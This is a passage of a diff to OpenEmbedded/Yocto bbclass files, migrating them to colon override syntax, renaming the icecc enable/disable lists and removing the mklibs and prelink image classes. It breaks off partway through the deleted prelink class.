- d.appendVar("FILES_" + pkg, " ${datadir}/glib-2.0/schemas")
+ d.appendVar("RDEPENDS:" + pkg, " ${MLPREFIX}glib-2.0-utils")
+ d.appendVar("FILES:" + pkg, " ${datadir}/glib-2.0/schemas")
}
gsettings_postinstrm () {
glib-compile-schemas $D${datadir}/glib-2.0/schemas
}
-python populate_packages_append () {
+python populate_packages:append () {
pkg = d.getVar('GSETTINGS_PACKAGE')
if pkg:
bb.note("adding gsettings postinst scripts to %s" % pkg)
- postinst = d.getVar('pkg_postinst_%s' % pkg) or d.getVar('pkg_postinst')
+ postinst = d.getVar('pkg_postinst:%s' % pkg) or d.getVar('pkg_postinst')
if not postinst:
postinst = '#!/bin/sh\n'
postinst += d.getVar('gsettings_postinstrm')
- d.setVar('pkg_postinst_%s' % pkg, postinst)
+ d.setVar('pkg_postinst:%s' % pkg, postinst)
bb.note("adding gsettings postrm scripts to %s" % pkg)
- postrm = d.getVar('pkg_postrm_%s' % pkg) or d.getVar('pkg_postrm')
+ postrm = d.getVar('pkg_postrm:%s' % pkg) or d.getVar('pkg_postrm')
if not postrm:
postrm = '#!/bin/sh\n'
postrm += d.getVar('gsettings_postinstrm')
- d.setVar('pkg_postrm_%s' % pkg, postrm)
+ d.setVar('pkg_postrm:%s' % pkg, postrm)
}
diff --git a/meta/classes/gtk-doc.bbclass b/meta/classes/gtk-doc.bbclass
index 7dd662bf86..07b46ac829 100644
--- a/meta/classes/gtk-doc.bbclass
+++ b/meta/classes/gtk-doc.bbclass
@@ -7,6 +7,7 @@
#
# It should be used in recipes to determine whether gtk-doc based documentation should be built,
# so that qemu use can be avoided when necessary.
+GTKDOC_ENABLED:class-native = "False"
GTKDOC_ENABLED ?= "${@bb.utils.contains('DISTRO_FEATURES', 'api-documentation', \
bb.utils.contains('MACHINE_FEATURES', 'qemu-usermode', 'True', 'False', d), 'False', d)}"
@@ -18,20 +19,20 @@ GTKDOC_MESON_ENABLE_FLAG ?= 'true'
GTKDOC_MESON_DISABLE_FLAG ?= 'false'
# Auto enable/disable based on GTKDOC_ENABLED
-EXTRA_OECONF_prepend_class-target = "${@bb.utils.contains('GTKDOC_ENABLED', 'True', '--enable-gtk-doc --enable-gtk-doc-html --disable-gtk-doc-pdf', \
+EXTRA_OECONF:prepend:class-target = "${@bb.utils.contains('GTKDOC_ENABLED', 'True', '--enable-gtk-doc --enable-gtk-doc-html --disable-gtk-doc-pdf', \
'--disable-gtk-doc', d)} "
-EXTRA_OEMESON_prepend_class-target = "-D${GTKDOC_MESON_OPTION}=${@bb.utils.contains('GTKDOC_ENABLED', 'True', '${GTKDOC_MESON_ENABLE_FLAG}', '${GTKDOC_MESON_DISABLE_FLAG}', d)} "
+EXTRA_OEMESON:prepend:class-target = "-D${GTKDOC_MESON_OPTION}=${@bb.utils.contains('GTKDOC_ENABLED', 'True', '${GTKDOC_MESON_ENABLE_FLAG}', '${GTKDOC_MESON_DISABLE_FLAG}', d)} "
# When building native recipes, disable gtkdoc, as it is not necessary,
# pulls in additional dependencies, and makes build times longer
-EXTRA_OECONF_prepend_class-native = "--disable-gtk-doc "
-EXTRA_OECONF_prepend_class-nativesdk = "--disable-gtk-doc "
-EXTRA_OEMESON_prepend_class-native = "-D${GTKDOC_MESON_OPTION}=${GTKDOC_MESON_DISABLE_FLAG} "
-EXTRA_OEMESON_prepend_class-nativesdk = "-D${GTKDOC_MESON_OPTION}=${GTKDOC_MESON_DISABLE_FLAG} "
+EXTRA_OECONF:prepend:class-native = "--disable-gtk-doc "
+EXTRA_OECONF:prepend:class-nativesdk = "--disable-gtk-doc "
+EXTRA_OEMESON:prepend:class-native = "-D${GTKDOC_MESON_OPTION}=${GTKDOC_MESON_DISABLE_FLAG} "
+EXTRA_OEMESON:prepend:class-nativesdk = "-D${GTKDOC_MESON_OPTION}=${GTKDOC_MESON_DISABLE_FLAG} "
# Even though gtkdoc is disabled on -native, gtk-doc package is still
# needed for m4 macros.
-DEPENDS_append = " gtk-doc-native"
+DEPENDS:append = " gtk-doc-native"
# The documentation directory, where the infrastructure will be copied.
# gtkdocize has a default of "." so to handle out-of-tree builds set this to $S.
@@ -40,15 +41,15 @@ GTKDOC_DOCDIR ?= "${S}"
export STAGING_DIR_HOST
inherit python3native pkgconfig qemu
-DEPENDS_append = "${@' qemu-native' if d.getVar('GTKDOC_ENABLED') == 'True' else ''}"
+DEPENDS:append = "${@' qemu-native' if d.getVar('GTKDOC_ENABLED') == 'True' else ''}"
-do_configure_prepend () {
+do_configure:prepend () {
# Need to use ||true as this is only needed if configure.ac both exists
# and uses GTK_DOC_CHECK.
gtkdocize --srcdir ${S} --docdir ${GTKDOC_DOCDIR} || true
}
-do_compile_prepend_class-target () {
+do_compile:prepend:class-target () {
if [ ${GTKDOC_ENABLED} = True ]; then
# Write out a qemu wrapper that will be given to gtkdoc-scangobj so that it
# can run target helper binaries through that.
@@ -62,7 +63,7 @@ export GIO_MODULE_DIR=${STAGING_LIBDIR}/gio/modules-dummy
GIR_EXTRA_LIBS_PATH=\`find ${B} -name *.so -printf "%h\n"|sort|uniq| tr '\n' ':'\`\$GIR_EXTRA_LIBS_PATH
GIR_EXTRA_LIBS_PATH=\`find ${B} -name .libs| tr '\n' ':'\`\$GIR_EXTRA_LIBS_PATH
-# meson sets this wrongly (only to libs in build-dir), qemu-wrapper_cmdline() and GIR_EXTRA_LIBS_PATH take care of it properly
+# meson sets this wrongly (only to libs in build-dir), qemu_wrapper_cmdline() and GIR_EXTRA_LIBS_PATH take care of it properly
unset LD_LIBRARY_PATH
if [ -d ".libs" ]; then
diff --git a/meta/classes/gtk-icon-cache.bbclass b/meta/classes/gtk-icon-cache.bbclass
index 91cb4ad409..6808339b90 100644
--- a/meta/classes/gtk-icon-cache.bbclass
+++ b/meta/classes/gtk-icon-cache.bbclass
@@ -1,8 +1,22 @@
-FILES_${PN} += "${datadir}/icons/hicolor"
+FILES:${PN} += "${datadir}/icons/hicolor"
-DEPENDS +=" ${@['hicolor-icon-theme', '']['${BPN}' == 'hicolor-icon-theme']} gtk+3-native"
+GTKIC_VERSION ??= '3'
-PACKAGE_WRITE_DEPS += "gtk+3-native gdk-pixbuf-native"
+GTKPN = "${@ 'gtk4' if d.getVar('GTKIC_VERSION') == '4' else 'gtk+3' }"
+GTKIC_CMD = "${@ 'gtk-update-icon-cache-3.0.0' if d.getVar('GTKIC_VERSION') == '4' else 'gtk4-update-icon-cache' }"
+
+#gtk+3/gtk4 require GTK3DISTROFEATURES, DEPENDS on it make all the
+#recipes inherit this class require GTK3DISTROFEATURES
+inherit features_check
+ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
+
+DEPENDS +=" ${@ '' if d.getVar('BPN') == 'hicolor-icon-theme' else 'hicolor-icon-theme' } \
+ ${@ '' if d.getVar('BPN') == 'gdk-pixbuf' else 'gdk-pixbuf' } \
+ ${@ '' if d.getVar('BPN') == d.getVar('GTKPN') else d.getVar('GTKPN') } \
+ ${GTKPN}-native \
+"
+
+PACKAGE_WRITE_DEPS += "${GTKPN}-native gdk-pixbuf-native"
gtk_icon_cache_postinst() {
if [ "x$D" != "x" ]; then
@@ -16,7 +30,7 @@ else
for icondir in /usr/share/icons/* ; do
if [ -d $icondir ] ; then
- gtk-update-icon-cache -fqt $icondir
+ ${GTKIC_CMD} -fqt $icondir
fi
done
fi
@@ -30,13 +44,13 @@ if [ "x$D" != "x" ]; then
else
for icondir in /usr/share/icons/* ; do
if [ -d $icondir ] ; then
- gtk-update-icon-cache -qt $icondir
+ ${GTKIC_CMD} -qt $icondir
fi
done
fi
}
-python populate_packages_append () {
+python populate_packages:append () {
packages = d.getVar('PACKAGES').split()
pkgdest = d.getVar('PKGDEST')
@@ -47,20 +61,29 @@ python populate_packages_append () {
bb.note("adding hicolor-icon-theme dependency to %s" % pkg)
rdepends = ' ' + d.getVar('MLPREFIX', False) + "hicolor-icon-theme"
- d.appendVar('RDEPENDS_%s' % pkg, rdepends)
-
+ d.appendVar('RDEPENDS:%s' % pkg, rdepends)
+
+ #gtk_icon_cache_postinst depend on gdk-pixbuf and gtk+3/gtk4
+ bb.note("adding gdk-pixbuf dependency to %s" % pkg)
+ rdepends = ' ' + d.getVar('MLPREFIX', False) + "gdk-pixbuf"
+ d.appendVar('RDEPENDS:%s' % pkg, rdepends)
+
+ bb.note("adding %s dependency to %s" % (d.getVar('GTKPN'), pkg))
+ rdepends = ' ' + d.getVar('MLPREFIX', False) + d.getVar('GTKPN')
+ d.appendVar('RDEPENDS:%s' % pkg, rdepends)
+
bb.note("adding gtk-icon-cache postinst and postrm scripts to %s" % pkg)
-
- postinst = d.getVar('pkg_postinst_%s' % pkg)
+
+ postinst = d.getVar('pkg_postinst:%s' % pkg)
if not postinst:
postinst = '#!/bin/sh\n'
postinst += d.getVar('gtk_icon_cache_postinst')
- d.setVar('pkg_postinst_%s' % pkg, postinst)
+ d.setVar('pkg_postinst:%s' % pkg, postinst)
- postrm = d.getVar('pkg_postrm_%s' % pkg)
+ postrm = d.getVar('pkg_postrm:%s' % pkg)
if not postrm:
postrm = '#!/bin/sh\n'
postrm += d.getVar('gtk_icon_cache_postrm')
- d.setVar('pkg_postrm_%s' % pkg, postrm)
+ d.setVar('pkg_postrm:%s' % pkg, postrm)
}
diff --git a/meta/classes/gtk-immodules-cache.bbclass b/meta/classes/gtk-immodules-cache.bbclass
index 9bb0af8b26..2107517540 100644
--- a/meta/classes/gtk-immodules-cache.bbclass
+++ b/meta/classes/gtk-immodules-cache.bbclass
@@ -22,6 +22,7 @@ else
gtk-query-immodules-2.0 > ${libdir}/gtk-2.0/2.10.0/immodules.cache
fi
if [ ! -z `which gtk-query-immodules-3.0` ]; then
+ mkdir -p ${libdir}/gtk-3.0/3.0.0
gtk-query-immodules-3.0 > ${libdir}/gtk-3.0/3.0.0/immodules.cache
fi
fi
@@ -46,23 +47,23 @@ else
fi
}
-python populate_packages_append () {
+python populate_packages:append () {
gtkimmodules_pkgs = d.getVar('GTKIMMODULES_PACKAGES').split()
for pkg in gtkimmodules_pkgs:
bb.note("adding gtk-immodule-cache postinst and postrm scripts to %s" % pkg)
- postinst = d.getVar('pkg_postinst_%s' % pkg)
+ postinst = d.getVar('pkg_postinst:%s' % pkg)
if not postinst:
postinst = '#!/bin/sh\n'
postinst += d.getVar('gtk_immodule_cache_postinst')
- d.setVar('pkg_postinst_%s' % pkg, postinst)
+ d.setVar('pkg_postinst:%s' % pkg, postinst)
- postrm = d.getVar('pkg_postrm_%s' % pkg)
+ postrm = d.getVar('pkg_postrm:%s' % pkg)
if not postrm:
postrm = '#!/bin/sh\n'
postrm += d.getVar('gtk_immodule_cache_postrm')
- d.setVar('pkg_postrm_%s' % pkg, postrm)
+ d.setVar('pkg_postrm:%s' % pkg, postrm)
}
python __anonymous() {
diff --git a/meta/classes/icecc.bbclass b/meta/classes/icecc.bbclass
index bc3d6f4cc8..9b912a3083 100644
--- a/meta/classes/icecc.bbclass
+++ b/meta/classes/icecc.bbclass
@@ -19,22 +19,21 @@
# or the default one provided by icecc-create-env.bb will be used
# (NOTE that this is a modified version of the script need it and *not the one that comes with icecc*
#
-# User can specify if specific packages or packages belonging to class should not use icecc to distribute
-# compile jobs to remote machines, but handled locally, by defining ICECC_USER_CLASS_BL and ICECC_USER_PACKAGE_BL
-# with the appropriate values in local.conf. In addition the user can force to enable icecc for packages
-# which set an empty PARALLEL_MAKE variable by defining ICECC_USER_PACKAGE_WL.
+# User can specify if specific recipes or recipes belonging to class should not use icecc to distribute
+# compile jobs to remote machines, but handled locally, by defining ICECC_CLASS_DISABLE and ICECC_RECIPE_DISABLE
+# with the appropriate values in local.conf. In addition the user can force to enable icecc for recipes
+# which set an empty PARALLEL_MAKE variable by defining ICECC_RECIPE_ENABLE.
#
#########################################################################################
#Error checking is kept to minimum so double check any parameters you pass to the class
###########################################################################################
-BB_HASHBASE_WHITELIST += "ICECC_PARALLEL_MAKE ICECC_DISABLED ICECC_USER_PACKAGE_BL \
- ICECC_USER_CLASS_BL ICECC_USER_PACKAGE_WL ICECC_PATH ICECC_ENV_EXEC \
+BB_BASEHASH_IGNORE_VARS += "ICECC_PARALLEL_MAKE ICECC_DISABLED ICECC_RECIPE_DISABLE \
+ ICECC_CLASS_DISABLE ICECC_RECIPE_ENABLE ICECC_PATH ICECC_ENV_EXEC \
ICECC_CARET_WORKAROUND ICECC_CFLAGS ICECC_ENV_VERSION \
ICECC_DEBUG ICECC_LOGFILE ICECC_REPEAT_RATE ICECC_PREFERRED_HOST \
ICECC_CLANG_REMOTE_CPP ICECC_IGNORE_UNVERIFIED ICECC_TEST_SOCKET \
- ICECC_ENV_DEBUG ICECC_SYSTEM_PACKAGE_BL ICECC_SYSTEM_CLASS_BL \
- ICECC_REMOTE_CPP \
+ ICECC_ENV_DEBUG ICECC_REMOTE_CPP \
"
ICECC_ENV_EXEC ?= "${STAGING_BINDIR_NATIVE}/icecc-create-env"
@@ -47,7 +46,7 @@ HOSTTOOLS_NONFATAL += "icecc patchelf"
#
# A useful thing to do for testing Icecream changes locally is to add a
# subversion in local.conf:
-# ICECC_ENV_VERSION_append = "-my-ver-1"
+# ICECC_ENV_VERSION:append = "-my-ver-1"
ICECC_ENV_VERSION = "2"
# Default to disabling the caret workaround, If set to "1" in local.conf, icecc
@@ -66,7 +65,7 @@ CXXFLAGS += "${ICECC_CFLAGS}"
# Debug flags when generating environments
ICECC_ENV_DEBUG ??= ""
-# "system" recipe blacklist contains a list of packages that can not distribute
+# Disable recipe list contains a list of recipes that can not distribute
# compile tasks for one reason or the other. When adding new entry, please
# document why (how it failed) so that we can re-evaluate it later e.g. when
# there is new version
@@ -79,25 +78,25 @@ ICECC_ENV_DEBUG ??= ""
# inline assembly
# target-sdk-provides-dummy - ${HOST_PREFIX} is empty which triggers the "NULL
# prefix" error.
-ICECC_SYSTEM_PACKAGE_BL += "\
+ICECC_RECIPE_DISABLE += "\
libgcc-initial \
pixman \
systemtap \
target-sdk-provides-dummy \
"
-# "system" classes that should be blacklisted. When adding new entry, please
+# Classes that should not use icecc. When adding new entry, please
# document why (how it failed) so that we can re-evaluate it later
#
# image - Image aren't compiling, but the testing framework for images captures
# PARALLEL_MAKE as part of the test environment. Many tests won't use
# icecream, but leaving the high level of parallelism can cause them to
# consume an unnecessary amount of resources.
-ICECC_SYSTEM_CLASS_BL += "\
+ICECC_CLASS_DISABLE += "\
image \
"
-def icecc_dep_prepend(d):
+def get_icecc_dep(d):
# INHIBIT_DEFAULT_DEPS doesn't apply to the patch command. Whether or not
# we need that built is the responsibility of the patch function / class, not
# the application.
@@ -105,7 +104,7 @@ def icecc_dep_prepend(d):
return "icecc-create-env-native"
return ""
-DEPENDS_prepend += "${@icecc_dep_prepend(d)} "
+DEPENDS:prepend = "${@get_icecc_dep(d)} "
get_cross_kernel_cc[vardepsexclude] += "KERNEL_CC"
def get_cross_kernel_cc(bb,d):
@@ -138,39 +137,31 @@ def use_icecc(bb,d):
if icecc_is_cross_canadian(bb, d):
return "no"
- if d.getVar('INHIBIT_DEFAULT_DEPS', False):
- # We don't have a compiler, so no icecc
- return "no"
-
pn = d.getVar('PN')
bpn = d.getVar('BPN')
- # Blacklist/whitelist checks are made against BPN, because there is a good
+ # Enable/disable checks are made against BPN, because there is a good
# chance that if icecc should be skipped for a recipe, it should be skipped
# for all the variants of that recipe. PN is still checked in case a user
# specified a more specific recipe.
check_pn = set([pn, bpn])
- system_class_blacklist = (d.getVar('ICECC_SYSTEM_CLASS_BL') or "").split()
- user_class_blacklist = (d.getVar('ICECC_USER_CLASS_BL') or "none").split()
- package_class_blacklist = system_class_blacklist + user_class_blacklist
+ class_disable = (d.getVar('ICECC_CLASS_DISABLE') or "").split()
- for black in package_class_blacklist:
- if bb.data.inherits_class(black, d):
- bb.debug(1, "%s: class %s found in blacklist, disable icecc" % (pn, black))
+ for bbclass in class_disable:
+ if bb.data.inherits_class(bbclass, d):
+ bb.debug(1, "%s: bbclass %s found in disable, disable icecc" % (pn, bbclass))
return "no"
- system_package_blacklist = (d.getVar('ICECC_SYSTEM_PACKAGE_BL') or "").split()
- user_package_blacklist = (d.getVar('ICECC_USER_PACKAGE_BL') or "").split()
- user_package_whitelist = (d.getVar('ICECC_USER_PACKAGE_WL') or "").split()
- package_blacklist = system_package_blacklist + user_package_blacklist
+ disabled_recipes = (d.getVar('ICECC_RECIPE_DISABLE') or "").split()
+ enabled_recipes = (d.getVar('ICECC_RECIPE_ENABLE') or "").split()
- if check_pn & set(package_blacklist):
- bb.debug(1, "%s: found in blacklist, disable icecc" % pn)
+ if check_pn & set(disabled_recipes):
+ bb.debug(1, "%s: found in disable list, disable icecc" % pn)
return "no"
- if check_pn & set(user_package_whitelist):
- bb.debug(1, "%s: found in whitelist, enable icecc" % pn)
+ if check_pn & set(enabled_recipes):
+ bb.debug(1, "%s: found in enabled recipes list, enable icecc" % pn)
return "yes"
if d.getVar('PARALLEL_MAKE') == "":
@@ -313,7 +304,7 @@ wait_for_file() {
local TIMEOUT=$2
until [ -f "$FILE_TO_TEST" ]
do
- TIME_ELAPSED=`expr $TIME_ELAPSED + 1`
+ TIME_ELAPSED=$(expr $TIME_ELAPSED + 1)
if [ $TIME_ELAPSED -gt $TIMEOUT ]
then
return 1
@@ -362,12 +353,12 @@ set_icecc_env() {
ICECC_WHICH_AS="${@bb.utils.which(os.getenv('PATH'), 'as')}"
if [ ! -x "${ICECC_CC}" -o ! -x "${ICECC_CXX}" ]
then
- bbwarn "Cannot use icecc: could not get ICECC_CC or ICECC_CXX"
+ bbnote "Cannot use icecc: could not get ICECC_CC or ICECC_CXX"
return
fi
- ICE_VERSION=`$ICECC_CC -dumpversion`
- ICECC_VERSION=`echo ${ICECC_VERSION} | sed -e "s/@VERSION@/$ICE_VERSION/g"`
+ ICE_VERSION="$($ICECC_CC -dumpversion)"
+ ICECC_VERSION=$(echo ${ICECC_VERSION} | sed -e "s/@VERSION@/$ICE_VERSION/g")
if [ ! -x "${ICECC_ENV_EXEC}" ]
then
bbwarn "Cannot use icecc: invalid ICECC_ENV_EXEC"
@@ -394,18 +385,18 @@ set_icecc_env() {
chmod 775 $ICE_PATH/$compiler
done
- ICECC_AS="`${ICECC_CC} -print-prog-name=as`"
+ ICECC_AS="$(${ICECC_CC} -print-prog-name=as)"
# for target recipes should return something like:
# /OE/tmp-eglibc/sysroots/x86_64-linux/usr/libexec/arm920tt-oe-linux-gnueabi/gcc/arm-oe-linux-gnueabi/4.8.2/as
# and just "as" for native, if it returns "as" in current directory (for whatever reason) use "as" from PATH
- if [ "`dirname "${ICECC_AS}"`" = "." ]
+ if [ "$(dirname "${ICECC_AS}")" = "." ]
then
ICECC_AS="${ICECC_WHICH_AS}"
fi
if [ ! -f "${ICECC_VERSION}.done" ]
then
- mkdir -p "`dirname "${ICECC_VERSION}"`"
+ mkdir -p "$(dirname "${ICECC_VERSION}")"
# the ICECC_VERSION generation step must be locked by a mutex
# in order to prevent race conditions
@@ -432,28 +423,32 @@ set_icecc_env() {
bbnote "Using icecc tarball: $ICECC_VERSION"
}
-do_configure_prepend() {
+do_configure[network] = "1"
+do_configure:prepend() {
set_icecc_env
}
-do_compile_prepend() {
+do_compile[network] = "1"
+do_compile:prepend() {
set_icecc_env
}
-do_compile_kernelmodules_prepend() {
+do_compile_kernelmodules[network] = "1"
+do_compile_kernelmodules:prepend() {
set_icecc_env
}
-do_install_prepend() {
+do_install[network] = "1"
+do_install:prepend() {
set_icecc_env
}
# IceCream is not (currently) supported in the extensible SDK
ICECC_SDK_HOST_TASK = "nativesdk-icecc-toolchain"
-ICECC_SDK_HOST_TASK_task-populate-sdk-ext = ""
+ICECC_SDK_HOST_TASK:task-populate-sdk-ext = ""
# Don't include IceCream in uninative tarball
-ICECC_SDK_HOST_TASK_pn-uninative-tarball = ""
+ICECC_SDK_HOST_TASK:pn-uninative-tarball = ""
# Add the toolchain scripts to the SDK
-TOOLCHAIN_HOST_TASK_append = " ${ICECC_SDK_HOST_TASK}"
+TOOLCHAIN_HOST_TASK:append = " ${ICECC_SDK_HOST_TASK}"
diff --git a/meta/classes/image-artifact-names.bbclass b/meta/classes/image-artifact-names.bbclass
new file mode 100644
index 0000000000..f5769e520f
--- /dev/null
+++ b/meta/classes/image-artifact-names.bbclass
@@ -0,0 +1,22 @@
+##################################################################
+# Specific image creation and rootfs population info.
+##################################################################
+
+IMAGE_BASENAME ?= "${PN}"
+IMAGE_VERSION_SUFFIX ?= "-${DATETIME}"
+IMAGE_VERSION_SUFFIX[vardepsexclude] += "DATETIME SOURCE_DATE_EPOCH"
+IMAGE_NAME ?= "${IMAGE_BASENAME}-${MACHINE}${IMAGE_VERSION_SUFFIX}"
+IMAGE_LINK_NAME ?= "${IMAGE_BASENAME}-${MACHINE}"
+
+# IMAGE_NAME is the base name for everything produced when building images.
+# The actual image that contains the rootfs has an additional suffix (.rootfs
+# by default) followed by additional suffices which describe the format (.ext4,
+# .ext4.xz, etc.).
+IMAGE_NAME_SUFFIX ??= ".rootfs"
+
+python () {
+ if bb.data.inherits_class('deploy', d) and d.getVar("IMAGE_VERSION_SUFFIX") == "-${DATETIME}":
+ import datetime
+ d.setVar("IMAGE_VERSION_SUFFIX", "-" + datetime.datetime.fromtimestamp(int(d.getVar("SOURCE_DATE_EPOCH")), datetime.timezone.utc).strftime('%Y%m%d%H%M%S'))
+ d.setVarFlag("IMAGE_VERSION_SUFFIX", "vardepvalue", "")
+}
diff --git a/meta/classes/image-combined-dbg.bbclass b/meta/classes/image-combined-dbg.bbclass
index f4772f7ea1..e5dc61f857 100644
--- a/meta/classes/image-combined-dbg.bbclass
+++ b/meta/classes/image-combined-dbg.bbclass
@@ -1,4 +1,4 @@
-IMAGE_PREPROCESS_COMMAND_append = " combine_dbg_image; "
+IMAGE_PREPROCESS_COMMAND:append = " combine_dbg_image; "
combine_dbg_image () {
if [ "${IMAGE_GEN_DEBUGFS}" = "1" -a -e ${IMAGE_ROOTFS}-dbg ]; then
diff --git a/meta/classes/image-container.bbclass b/meta/classes/image-container.bbclass
index f002858bd2..3d1993576a 100644
--- a/meta/classes/image-container.bbclass
+++ b/meta/classes/image-container.bbclass
@@ -1,6 +1,6 @@
ROOTFS_BOOTSTRAP_INSTALL = ""
IMAGE_TYPES_MASKED += "container"
-IMAGE_TYPEDEP_container = "tar.bz2"
+IMAGE_TYPEDEP:container = "tar.bz2"
python __anonymous() {
if "container" in d.getVar("IMAGE_FSTYPES") and \
diff --git a/meta/classes/image-live.bbclass b/meta/classes/image-live.bbclass
index 54058b350d..2c948190cf 100644
--- a/meta/classes/image-live.bbclass
+++ b/meta/classes/image-live.bbclass
@@ -22,7 +22,7 @@
# ${HDDIMG_ID} - FAT image volume-id
# ${ROOTFS} - indicates a filesystem image to include as the root filesystem (optional)
-inherit live-vm-common
+inherit live-vm-common image-artifact-names
do_bootimg[depends] += "dosfstools-native:do_populate_sysroot \
mtools-native:do_populate_sysroot \
@@ -30,7 +30,7 @@ do_bootimg[depends] += "dosfstools-native:do_populate_sysroot \
virtual/kernel:do_deploy \
${MLPREFIX}syslinux:do_populate_sysroot \
syslinux-native:do_populate_sysroot \
- ${PN}:do_image_${@d.getVar('LIVE_ROOTFS_TYPE').replace('-', '_')} \
+ ${@'%s:do_image_%s' % (d.getVar('PN'), d.getVar('LIVE_ROOTFS_TYPE').replace('-', '_')) if d.getVar('ROOTFS') else ''} \
"
@@ -42,9 +42,9 @@ INITRD_LIVE ?= "${DEPLOY_DIR_IMAGE}/${INITRD_IMAGE_LIVE}-${MACHINE}.${INITRAMFS_
LIVE_ROOTFS_TYPE ?= "ext4"
ROOTFS ?= "${IMGDEPLOYDIR}/${IMAGE_LINK_NAME}.${LIVE_ROOTFS_TYPE}"
-IMAGE_TYPEDEP_live = "${LIVE_ROOTFS_TYPE}"
-IMAGE_TYPEDEP_iso = "${LIVE_ROOTFS_TYPE}"
-IMAGE_TYPEDEP_hddimg = "${LIVE_ROOTFS_TYPE}"
+IMAGE_TYPEDEP:live = "${LIVE_ROOTFS_TYPE}"
+IMAGE_TYPEDEP:iso = "${LIVE_ROOTFS_TYPE}"
+IMAGE_TYPEDEP:hddimg = "${LIVE_ROOTFS_TYPE}"
IMAGE_TYPES_MASKED += "live hddimg iso"
python() {
@@ -234,7 +234,7 @@ build_hddimg() {
bberror "${HDDDIR}/rootfs.img rootfs size is greather than or equal to 4GB,"
bberror "and this doesn't work on a FAT filesystem. You can either:"
bberror "1) Reduce the size of rootfs.img, or,"
- bbfatal "2) Use wic, vmdk or vdi instead of hddimg\n"
+ bbfatal "2) Use wic, vmdk,vhd, vhdx or vdi instead of hddimg\n"
fi
fi
@@ -261,4 +261,4 @@ python do_bootimg() {
do_bootimg[subimages] = "hddimg iso"
do_bootimg[imgsuffix] = "."
-addtask bootimg before do_image_complete
+addtask bootimg before do_image_complete after do_rootfs
diff --git a/meta/classes/image-mklibs.bbclass b/meta/classes/image-mklibs.bbclass
deleted file mode 100644
index 68e11d4365..0000000000
--- a/meta/classes/image-mklibs.bbclass
+++ /dev/null
@@ -1,56 +0,0 @@
-do_rootfs[depends] += "mklibs-native:do_populate_sysroot"
-
-IMAGE_PREPROCESS_COMMAND += "mklibs_optimize_image; "
-
-inherit linuxloader
-
-mklibs_optimize_image_doit() {
- rm -rf ${WORKDIR}/mklibs
- mkdir -p ${WORKDIR}/mklibs/dest
- cd ${IMAGE_ROOTFS}
- du -bs > ${WORKDIR}/mklibs/du.before.mklibs.txt
-
- # Build a list of dynamically linked executable ELF files.
- # Omit libc/libpthread as a special case because it has an interpreter
- # but is primarily what we intend to strip down.
- for i in `find . -type f -executable ! -name 'libc-*' ! -name 'libpthread-*'`; do
- file $i | grep -q ELF || continue
- ${HOST_PREFIX}readelf -l $i | grep -q INTERP || continue
- echo $i
- done > ${WORKDIR}/mklibs/executables.list
-
- dynamic_loader=${@get_linuxloader(d)}
-
- mklibs -v \
- --ldlib ${dynamic_loader} \
- --libdir ${baselib} \
- --sysroot ${PKG_CONFIG_SYSROOT_DIR} \
- --gcc-options "--sysroot=${PKG_CONFIG_SYSROOT_DIR}" \
- --root ${IMAGE_ROOTFS} \
- --target `echo ${TARGET_PREFIX} | sed 's/-$//' ` \
- -d ${WORKDIR}/mklibs/dest \
- `cat ${WORKDIR}/mklibs/executables.list`
-
- cd ${WORKDIR}/mklibs/dest
- for i in *
- do
- cp $i `find ${IMAGE_ROOTFS} -name $i`
- done
-
- cd ${IMAGE_ROOTFS}
- du -bs > ${WORKDIR}/mklibs/du.after.mklibs.txt
-
- echo rootfs size before mklibs optimization: `cat ${WORKDIR}/mklibs/du.before.mklibs.txt`
- echo rootfs size after mklibs optimization: `cat ${WORKDIR}/mklibs/du.after.mklibs.txt`
-}
-
-mklibs_optimize_image() {
- for img in ${MKLIBS_OPTIMIZED_IMAGES}
- do
- if [ "${img}" = "${PN}" ] || [ "${img}" = "all" ]
- then
- mklibs_optimize_image_doit
- break
- fi
- done
-}
diff --git a/meta/classes/image-prelink.bbclass b/meta/classes/image-prelink.bbclass
deleted file mode 100644
index 04dd57c940..0000000000
--- a/meta/classes/image-prelink.bbclass
+++ /dev/null
@@ -1,64 +0,0 @@
-do_rootfs[depends] += "prelink-native:do_populate_sysroot"
-
-IMAGE_PREPROCESS_COMMAND_append_libc-glibc = " prelink_setup; prelink_image; "
-
-python prelink_setup () {
- oe.utils.write_ld_so_conf(d)
-}
-
-inherit linuxloader
-
-prelink_image () {
-# export PSEUDO_DEBUG=4
-# /bin/env | /bin/grep PSEUDO
-# echo "LD_LIBRARY_PATH=$LD_LIBRARY_PATH"
-# echo "LD_PRELOAD=$LD_PRELOAD"
-
- pre_prelink_size=`du -ks ${IMAGE_ROOTFS} | awk '{size = $1 ; print size }'`
- echo "Size before prelinking $pre_prelink_size."
-
- # We need a prelink conf on the filesystem, add one if it's missing
- if [ ! -e ${IMAGE_ROOTFS}${sysconfdir}/prelink.conf ]; then
- cp ${STAGING_ETCDIR_NATIVE}/prelink.conf \
- ${IMAGE_ROOTFS}${sysconfdir}/prelink.conf
- dummy_prelink_conf=true;
- else
- dummy_prelink_conf=false;
- fi
-
- # We need a ld.so.conf with pathnames in,prelink conf on the filesystem, add one if it's missing
- ldsoconf=${IMAGE_ROOTFS}${sysconfdir}/ld.so.conf
- if [ -e $ldsoconf ]; then
- cp $ldsoconf $ldsoconf.prelink
- fi
- cat ${STAGING_DIR_TARGET}${sysconfdir}/ld.so.conf >> $ldsoconf
-
- dynamic_loader=${@get_linuxloader(d)}
-
- # prelink!
- if [ "${BUILD_REPRODUCIBLE_BINARIES}" = "1" ]; then
- bbnote " prelink: BUILD_REPRODUCIBLE_BINARIES..."
- if [ "$REPRODUCIBLE_TIMESTAMP_ROOTFS" = "" ]; then
- export PRELINK_TIMESTAMP=`git log -1 --pretty=%ct `
- else
- export PRELINK_TIMESTAMP=$REPRODUCIBLE_TIMESTAMP_ROOTFS
- fi
- ${STAGING_SBINDIR_NATIVE}/prelink --root ${IMAGE_ROOTFS} -am -N -c ${sysconfdir}/prelink.conf --dynamic-linker $dynamic_loader
- else
- ${STAGING_SBINDIR_NATIVE}/prelink --root ${IMAGE_ROOTFS} -amR -N -c ${sysconfdir}/prelink.conf --dynamic-linker $dynamic_loader
- fi
-
- # Remove the prelink.conf if we had to add it.
- if [ "$dummy_prelink_conf" = "true" ]; then
- rm -f ${IMAGE_ROOTFS}${sysconfdir}/prelink.conf
- fi
-
- if [ -e $ldsoconf.prelink ]; then
- mv $ldsoconf.prelink $ldsoconf
- else
- rm $ldsoconf
- fi
-
